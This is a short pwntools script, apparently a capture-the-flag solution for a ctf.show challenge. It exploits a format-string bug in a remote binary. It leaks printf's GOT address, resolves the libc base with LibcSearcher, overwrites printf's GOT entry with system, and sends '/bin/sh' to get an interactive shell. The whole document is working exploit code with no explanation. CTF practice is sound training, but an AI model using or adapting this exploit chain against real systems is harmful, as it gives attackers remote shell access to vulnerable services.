1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26
| from pwn import * from LibcSearcher3 import *
p = remote('pwn.challenge.ctf.show', 28235) elf = ELF('../code/pwn')
printf_got = elf.got['printf']
payload = p32(printf_got) + b'%6$s'
p.send(payload)
printf_addr = u32(p.recvuntil('\xf7')[-4:])
libc = LibcSearcher('printf', printf_addr)
libcbase = printf_addr - libc.dump('printf')
sys_addr = libcbase + libc.dump('system')
payload2 = fmtstr_payload(6, {printf_got:sys_addr})
p.sendline(payload2) p.send('/bin/sh\x00')
p.interactive()
|